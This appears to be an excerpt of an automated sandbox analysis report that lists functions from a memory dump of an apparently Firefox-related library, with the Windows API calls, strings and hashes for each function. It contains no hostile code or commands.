LeaveCriticalSection.KERNEL32(6CF7F770), ref: 6CF5A80A

Strings

accelerator.dll, xrefs: 6CF5A7BF

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 51f40c7b7b99efaf857e638f5c7af971b4d3897de236ef0f78cf5d86ffc98eda
Instruction ID: 2b571288608bfd3b9d77de21c610286503c329aaa5430306294e29051b81bf42
Opcode Fuzzy Hash: 51f40c7b7b99efaf857e638f5c7af971b4d3897de236ef0f78cf5d86ffc98eda
Instruction Fuzzy Hash: 4E018FB1A102149F9F84CF55E885D6277F9FB8A315704806AED098B741DB719C10CBB1

Function 6CEFF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CEFEE51,?), ref: 6CEFF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CEFF0C2

Strings

ole32, xrefs: 6CEFF0AD
Could not find CoTaskMemFree, xrefs: 6CEFF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CEFF0DC

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: b162d8c71dd61441bab660d3a2920015c5b367c3a8672a1aad87598e5104afb9
Instruction ID: 58c3d557272eea1cf31582364b4829049bbadb5860e8e903a13ec8c3a1e69599
Opcode Fuzzy Hash: b162d8c71dd61441bab660d3a2920015c5b367c3a8672a1aad87598e5104afb9
Instruction Fuzzy Hash: 81E0DF70B552019BAFA41F62B828F2A37F86B1320D720852AE526D1F00EE66E815C635

Function 6CF300D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CF07235), ref: 6CF300D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CF300F7
FreeLibrary.KERNEL32(?,6CF07235), ref: 6CF3010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CF300F1
wintrust.dll, xrefs: 6CF300D3

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: bc4d18d1049a5fc2d587a8ca9b24a0370a450695eab64c7740debfb20aebe376
Instruction ID: 4161a35873e23213cba0a89bc6d422af50eff2d7a23f3a0adc4bb8a39fcfd911
Opcode Fuzzy Hash: bc4d18d1049a5fc2d587a8ca9b24a0370a450695eab64c7740debfb20aebe376
Instruction Fuzzy Hash: 16E01A70A29325ABEFC2AF25A9097623AF9A703206F14441AE94D81700D7B184408B70

Function 6CF30080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CF07204), ref: 6CF30088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CF300A7
FreeLibrary.KERNEL32(?,6CF07204), ref: 6CF300BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CF300A1
wintrust.dll, xrefs: 6CF30083

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 68fb98fb83e259c0ff2fb8ebb6f60be968e6d6b2776da888d596b4ab7efd2a0d
Instruction ID: 26acf1e8b21b5e969a59b77d03bd3f711823ba420c507a759daadeba82029cd4
Opcode Fuzzy Hash: 68fb98fb83e259c0ff2fb8ebb6f60be968e6d6b2776da888d596b4ab7efd2a0d
Instruction Fuzzy Hash: 7AE01AB0A60320ABDFD26F65B8087463AF8A70F354F00441AED19C2700D7B9C4448F71

Function 6CF301C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CF07266), ref: 6CF301C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6CF301E7
FreeLibrary.KERNEL32(?,6CF07266), ref: 6CF301FE

Strings

wintrust.dll, xrefs: 6CF301C3
CryptCATAdminReleaseContext, xrefs: 6CF301E1

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: b434dbf3f119920e24080aa606175a18bfb0f9e543c48098277f0f04b3fd4305
Instruction ID: 5639339183a16e7934ed7da5d4896147a88a1058e53973f545df45828a29f8f1
Opcode Fuzzy Hash: b434dbf3f119920e24080aa606175a18bfb0f9e543c48098277f0f04b3fd4305
Instruction Fuzzy Hash: 7EE09274A643A59BDFC26F65A4087427AF8A707345F105526D915C1740DBB184449F70

Function 6CF30170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CF07308), ref: 6CF30178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6CF30197
FreeLibrary.KERNEL32(?,6CF07308), ref: 6CF301AE

Strings

CryptCATCatalogInfoFromContext, xrefs: 6CF30191
wintrust.dll, xrefs: 6CF30173

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: cc26a2e921833bf4da902221389e2ac5839b429cef45864bafaf270cf9292bba
Instruction ID: 887fbeb24af2442ce14798682f441d576da61c1b3040ef9b1461a054f92567dd
Opcode Fuzzy Hash: cc26a2e921833bf4da902221389e2ac5839b429cef45864bafaf270cf9292bba
Instruction Fuzzy Hash: 91E0BF74EA5335ABEFC26F65E908B427BF9B707245F1414ABE98582740D7B58480CB70

Function 6CF30120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CF07297), ref: 6CF30128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6CF30147
FreeLibrary.KERNEL32(?,6CF07297), ref: 6CF3015E

Strings

CryptCATAdminEnumCatalogFromHash, xrefs: 6CF30141
wintrust.dll, xrefs: 6CF30123

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: e8ce3e5e37c001c5f938860f52c48bd17b6df03eb338fc3482f212f585cfb8c9
Instruction ID: 2cc56fc98276a3164987f4761246c1dfb41a9ab3cd197314f65367ac28d2e597
Opcode Fuzzy Hash: e8ce3e5e37c001c5f938860f52c48bd17b6df03eb338fc3482f212f585cfb8c9
Instruction Fuzzy Hash: 2AE01A70A25364ABEFC26F29F808B423AF8A703304F00441AE909C2710DBF1C4008F70

Function 6CF5C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CF5C0E9), ref: 6CF5C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CF5C437
FreeLibrary.KERNEL32(?,6CF5C0E9), ref: 6CF5C44C

Strings

ntdll.dll, xrefs: 6CF5C413
NtQueryVirtualMemory, xrefs: 6CF5C431

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 920805f83721acf0958686662ca5afad4f572ce57a0e523e90ba94df52d5a551
Instruction ID: 0d849099a5bc20b6c36b0d3c5f408f52c32eeed4bb729704b54932379708008e
Opcode Fuzzy Hash: 920805f83721acf0958686662ca5afad4f572ce57a0e523e90ba94df52d5a551
Instruction Fuzzy Hash: 54E09270A653219BDBC26BB1A908B527AF9A70F208F04451AEA1592701EBB1C4108B71

Function 6CF575B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CF5748B,?), ref: 6CF575B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CF575D7
FreeLibrary.KERNEL32(?,6CF5748B,?), ref: 6CF575EC

Strings

RtlNtStatusToDosError, xrefs: 6CF575D1
ntdll.dll, xrefs: 6CF575B3

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 9a78f557e3db328d181b8c3cde15a0724ea16d1aca6922e4f90a77bc24f05c4a
Instruction ID: 8a69a0753c5e0182ecd3aeec7c0fa95fa48e7221f15ccb07680b679eda1328b9
Opcode Fuzzy Hash: 9a78f557e3db328d181b8c3cde15a0724ea16d1aca6922e4f90a77bc24f05c4a
Instruction Fuzzy Hash: 2AE09AB1A203A1ABDBC25BA1E8487417AF8EF07218F10442AEA05D1700DBB984528F71

Function 6CF57600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CF57592), ref: 6CF57608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CF57627
FreeLibrary.KERNEL32(?,6CF57592), ref: 6CF5763C

Strings

NtUnmapViewOfSection, xrefs: 6CF57621
ntdll.dll, xrefs: 6CF57603

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 4c481853ccf3a872a112132967248d79f157171585d87f19f6fb5f770b3c3d95
Instruction ID: 191c9023fff027314ee7a789371485224433a91c170278bfc58b3c7d4c075ca0
Opcode Fuzzy Hash: 4c481853ccf3a872a112132967248d79f157171585d87f19f6fb5f770b3c3d95
Instruction Fuzzy Hash: 74E0BF70E307619BDFC25FA6F8487417EB9EB17359F10851AEA05D1740D7B984118F35

Function 6CF5C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CF5C1DE,?,00000000,?,00000000,?,6CF0779F), ref: 6CF5C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6CF5C217
FreeLibrary.KERNEL32(?,6CF5C1DE,?,00000000,?,00000000,?,6CF0779F), ref: 6CF5C22C

Strings

wintrust.dll, xrefs: 6CF5C1F3
WinVerifyTrust, xrefs: 6CF5C211

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 24e5b0c109806a7ca24965cc285e8e7a1bd5a8335c5d78c80c6d72260a9e5155
Instruction ID: 99b1d9c471cdbb1d0100f5014b98cb0e071ae912833efb932b1c4f56fc3cd3cd
Opcode Fuzzy Hash: 24e5b0c109806a7ca24965cc285e8e7a1bd5a8335c5d78c80c6d72260a9e5155
Instruction Fuzzy Hash: 4BE0B674A253619BDFC27F62E908B427EF8BB1B208F140969EA15C2B01E7B184188B70

Function 6CF5BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6CF005BC), ref: 6CF5BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6CF5BAD7
FreeLibrary.KERNEL32(?,6CF005BC), ref: 6CF5BAEC

Strings

VirtualAlloc2, xrefs: 6CF5BAD1
kernelbase.dll, xrefs: 6CF5BAB3

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 6e11fc516e2506fbd66db0e693d626d5820e3c76fafdbf64f7e1ebe121017374
Instruction ID: dad6287c60284b7ba3409cd1e52c9bcb0b4b7ed7919ac8c5a00da17a0a02f2e6
Opcode Fuzzy Hash: 6e11fc516e2506fbd66db0e693d626d5820e3c76fafdbf64f7e1ebe121017374
Instruction Fuzzy Hash: CEE0BF74A253619BEFC25F62F918B457FF8A707205F24481AE90483700EBB584548B70

Function 6CF5C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CF077C5), ref: 6CF5C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6CF5C2B7
FreeLibrary.KERNEL32(?,6CF077C5), ref: 6CF5C2CC

Strings

CryptCATAdminCalcHashFromFileHandle, xrefs: 6CF5C2B1
wintrust.dll, xrefs: 6CF5C293

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 8d46657342f1b334800271d4e47222782d7538c42d82e2927d34810cee2e823d
Instruction ID: d13fab2bf77617ea7fb0b4360935b4eef1ec26697a8f9a3b2021094deeb3ba58
Opcode Fuzzy Hash: 8d46657342f1b334800271d4e47222782d7538c42d82e2927d34810cee2e823d
Instruction Fuzzy Hash: 54E09A74A662219FDFC26B69A908B427EF9E717204F840419EA1985710E7B18410CB70

Function 6CF5BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CF5BE49), ref: 6CF5BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CF5BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CF5BE49), ref: 6CF5BF38
RtlReAllocateHeap.NTDLL ref: 6CF5BF83
RtlFreeHeap.NTDLL ref: 6CF5BFA6

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: d68c5a2c379990afd8e9491e87ff4bfb549133c4d1490f06927e254b5ba3ec1d
Instruction ID: 847b4679369e3fe4c2b2fb876d9e70ac24deb57308b54aa336480999fee1b2ad
Opcode Fuzzy Hash: d68c5a2c379990afd8e9491e87ff4bfb549133c4d1490f06927e254b5ba3ec1d
Instruction Fuzzy Hash: 3751B372B002058FE710CF69CD80BAAB3A2FF98314F694A39D655A7B54D731F9168F90

Function 6CF48E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CF3B58D,?,?,?,?,?,?,?,6CF6D734,?,?,?,6CF6D734), ref: 6CF48E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CF3B58D,?,?,?,?,?,?,?,6CF6D734,?,?,?,6CF6D734), ref: 6CF48EBF
free.MOZGLUE(?,?,?,?,6CF3B58D,?,?,?,?,?,?,?,6CF6D734,?,?,?), ref: 6CF48F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CF3B58D,?,?,?,?,?,?,?,6CF6D734,?,?,?,6CF6D734), ref: 6CF48F46
free.MOZGLUE(?,?,?,?,6CF3B58D,?,?,?,?,?,?,?,6CF6D734,?,?,?), ref: 6CF48F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CF3B58D,?,?,?,?,?,?,?,6CF6D734,?,?,?), ref: 6CF48F8F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 91ad6fb98c678365d9e78953305b65a2cd6c7e270f1ad1a0b01da76fc9b16721
Instruction ID: f14f7dd3987959fb07cf8c5a0510c06303aa88b4d5b1a5500c131e1702aee931
Opcode Fuzzy Hash: 91ad6fb98c678365d9e78953305b65a2cd6c7e270f1ad1a0b01da76fc9b16721
Instruction Fuzzy Hash: 7A5192B1A012168FEB14CF54D8807AE7BB2BF45318F15452AD916EB741E731F905CBD1

Function 6CF060E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CF05FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CF060F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CF05FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CF06180
free.MOZGLUE(?,?,?,?,6CF05FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CF06211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CF05FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CF06229
free.MOZGLUE(?,?,?,?,6CF05FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CF0625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CF05FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CF06271

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9f9343728380139e347a4e1d56fc9375cf5a5f4388d72790ce0e2e841b7dcae5
Instruction ID: 467732260dfd9762ef6f978dfb15702edca6a8efb4807029bf95bbe3e2209011
Opcode Fuzzy Hash: 9f9343728380139e347a4e1d56fc9375cf5a5f4388d72790ce0e2e841b7dcae5
Instruction Fuzzy Hash: 9A519FB1B012068FEF14CF68D8A07AEB7B5EF45B08F110439E916DB711E731A694DB61

Function 6CF427E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CF42620,?,?,?,6CF360AA,6CF35FCB,6CF379A3), ref: 6CF4284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CF42620,?,?,?,6CF360AA,6CF35FCB,6CF379A3), ref: 6CF4289A
free.MOZGLUE(?,?,?,6CF42620,?,?,?,6CF360AA,6CF35FCB,6CF379A3), ref: 6CF428F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CF42620,?,?,?,6CF360AA,6CF35FCB,6CF379A3), ref: 6CF42910
free.MOZGLUE(00000001,?,?,6CF42620,?,?,?,6CF360AA,6CF35FCB,6CF379A3), ref: 6CF4293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CF42620,?,?,?,6CF360AA,6CF35FCB,6CF379A3), ref: 6CF4294E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
